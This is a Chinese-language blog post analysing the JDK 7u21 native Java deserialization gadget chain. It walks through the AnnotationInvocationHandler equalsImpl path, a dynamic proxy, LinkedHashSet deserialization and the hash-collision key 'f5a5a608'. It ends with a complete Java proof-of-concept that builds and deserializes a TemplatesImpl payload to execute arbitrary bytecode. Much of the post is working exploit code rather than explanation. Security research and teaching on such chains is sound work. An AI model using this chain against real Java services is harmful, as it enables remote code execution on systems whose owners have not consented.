jdk7u21 原生反序列化漏洞

发布于 2022-01-17  236 次阅读


0x00 前言

如果在没有存在反序列化漏洞的第三方库的情况下,还有一种情况可以实现反序列化漏洞的利用,在jdk版本7u21及以前的版本存在一条利用链可以利用jdk的原生代码实现反序列化漏洞。

0x01 关键点分析

这条链子的关键点在sun.reflect.annotation.AnnotationInvocationHandler#equalsImpl,代码如下。这里的var2this.getMemberMethods()的返回值

private Boolean equalsImpl(Object var1) {
    if (var1 == this) {
        return true;
    } else if (!this.type.isInstance(var1)) {
        return false;
    } else {
        Method[] var2 = this.getMemberMethods();
        int var3 = var2.length;

        for(int var4 = 0; var4 < var3; ++var4) {
            ......
        }

        return true;
    }
}

getMemberMethods()会返回this.type.getDeclaredMethods(),也就是说我们可以通过修改this.type这个Object对象的值,就可以控制它的方法,进而控制返回值。

private Method[] getMemberMethods() {
    if (this.memberMethods == null) {
        this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
            public Method[] run() {
                Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods();
                AccessibleObject.setAccessible(var1, true);
                return var1;
            }
        });
    }

    return this.memberMethods;
}

有了可控的返回值,之后会进入for循环,var5就是遍历获取的方法,然后调用var5.invoke(var1),而var1就是调用equalsImpl方法的参数,即可以将this.type类中的所有方法遍历并执行了。我们就可以利用之前用过的TemplatesImpl来加载我们想要执行的字节码。

for(int var4 = 0; var4 < var3; ++var4) {
    Method var5 = var2[var4];
    String var6 = var5.getName();
    Object var7 = this.memberValues.get(var6);
    Object var8 = null;
    AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
    if (var9 != null) {
        var8 = var9.memberValues.get(var6);
    } else {
        try {
            var8 = var5.invoke(var1);
        } catch (InvocationTargetException var11) {
            return false;
        } catch (IllegalAccessException var12) {
            throw new AssertionError(var12);
        }
    }

    if (!memberValueEquals(var7, var8)) {
        return false;
    }
}

至于调用equalsImpl()的地方,找到这个类中的invoke()方法,调用了equalsImpl(),而invoke()的话,我们可以利用之前在cc1中用过的动态代理。AnnotationInvocationHandler实现了InvocationHandler接口,将这个对象用proxy进行代理,被传入的第一个参数是这个proxy对象,第二个参数是被执行的方法名,第三个参数是执行时的参数列表。那么通过动态代理调用他的方法时,就会通过invoke()方法去调用,当调用的方法名为equals且参数仅有一个Object对象时,就会调用equalsImpl()

public Object invoke(Object var1, Method var2, Object[] var3) {
    String var4 = var2.getName();
    Class[] var5 = var2.getParameterTypes();
    if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
        return this.equalsImpl(var3[0]);
    } else {
        ......
    }
}

到这里关键的地方已经差不多捋清楚了,我们可以先写一个基础的小demo来梳理一下思路。

public static void main(String[] args) throws Exception {
    byte[] code = Base64.decode("Some Bytecodes...");

    TemplatesImpl templates = new TemplatesImpl();
    setFieldValue(templates, "_bytecodes", new byte[][]{code});
    setFieldValue(templates, "_name", "So4ms");
    setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

    HashMap map = new HashMap();

    Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
    construct.setAccessible(true);
    InvocationHandler handler = (InvocationHandler) construct.newInstance(Templates.class, map);

    Templates proxy = (Templates) Proxy.newProxyInstance(Payload.class.getClassLoader(), new Class[]{Templates.class}, handler);
    proxy.equals(templates);
}

如此一来就可以成功执行字节码了。

但是显然对于equals我们是不能直接进行调用的。

0x02 如何调用equals

对于如何对其调用equals,一个常见的场景就是集合set,由于集合的唯一性,所以set中存储的对象不允许重复,就会涉及到比较操作。

大佬们找的是利用HashSet来进行,在他的readObject()中,最后一个地方调用了map.put(e, PRESENT)

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    // Read in any hidden serialization magic
    s.defaultReadObject();

    // Read in HashMap capacity and load factor and create backing HashMap
    int capacity = s.readInt();
    float loadFactor = s.readFloat();
    map = (((HashSet)this) instanceof LinkedHashSet ?
           new LinkedHashMap<E,Object>(capacity, loadFactor) :
           new HashMap<E,Object>(capacity, loadFactor));

    // Read in size
    int size = s.readInt();

    // Read in all elements in the proper order.
    for (int i=0; i<size; i++) {
        E e = (E) s.readObject();
        map.put(e, PRESENT);
    }
}

看一下put()的源码,这里的i就是计算的元素的哈希值,我们想要执行的equals在for循环中,我们想要进入for循环,就要满足e = table[i]; e != null,即我们想要进行比较的两个元素的哈希计算值要相等。

public V put(K key, V value) {
    if (key == null)
        return putForNullKey(value);
    int hash = hash(key);
    int i = indexFor(hash, table.length);
    for (Entry<K,V> e = table[i]; e != null; e = e.next) {
        Object k;
        if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
            V oldValue = e.value;
            e.value = value;
            e.recordAccess(this);
            return oldValue;
        }
    }

    modCount++;
    addEntry(hash, key, value, i);
    return null;
}

所以我们想要进行比较的proxyTemplatesImpl两个对象的哈希值是否相等,就取决于两个对象的hashCode()的返回值是否相等。

final int hash(Object k) {
    int h = 0;
    if (useAltHashing) {
        if (k instanceof String) {
            return sun.misc.Hashing.stringHash32((String) k);
        }
        h = hashSeed;
    }

    h ^= k.hashCode();
    h ^= (h >>> 20) ^ (h >>> 12);
    return h ^ (h >>> 7) ^ (h >>> 4);
}

proxyhashCode()方法,由于是进行了动态代理,所以会调用hashCodeImpl(),这里会遍历memberValues中的所有键值对,然后计算var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue()),即hashCode += 127 * key.hashCode() ^ value.hashCode()

private int hashCodeImpl() {
    int var1 = 0;

    Entry var3;
    for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
        var3 = (Entry)var2.next();
    }

    return var1;
}

这里大佬们用的绕过的方法是,当这个map里只有一个键值对,且键的哈希值为0时,那么这个proxy的哈希值就是这个键值对中的值的哈希值,当这个值为我们构造的TemplatesImpl时,就可以使得二者哈希值相等,从而满足条件。

找到满足条件的值,得到f5a5a608

for (long i = 0; i < 9999999999L; i++) {
    if (Long.toHexString(i).hashCode() == 0) {
        System.out.println(Long.toHexString(i));
    }
}

这样一个完整的POC就构造出来了

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.security.utils.Base64;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;
import javax.xml.transform.Templates;

public class Payload {
    public static void main(String[] args) throws Exception {
        byte[] code = Base64.decode("Some Bytecodes...");

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{code});
        setFieldValue(templates, "_name", "So4ms");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        HashMap map = new HashMap();
        map.put("f5a5a608", templates);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Templates.class, map);

        Templates proxy = (Templates) Proxy.newProxyInstance(Payload.class.getClassLoader(), new Class[]{Templates.class}, handler);

        HashSet set = new LinkedHashSet();
        set.add(templates);
        set.add(proxy);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(set);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

0x03 参考资料

p神知识星球

Java安全之Jdk7u21链分析

[Java反序列化]JDK7U21原生反序列化利用链分析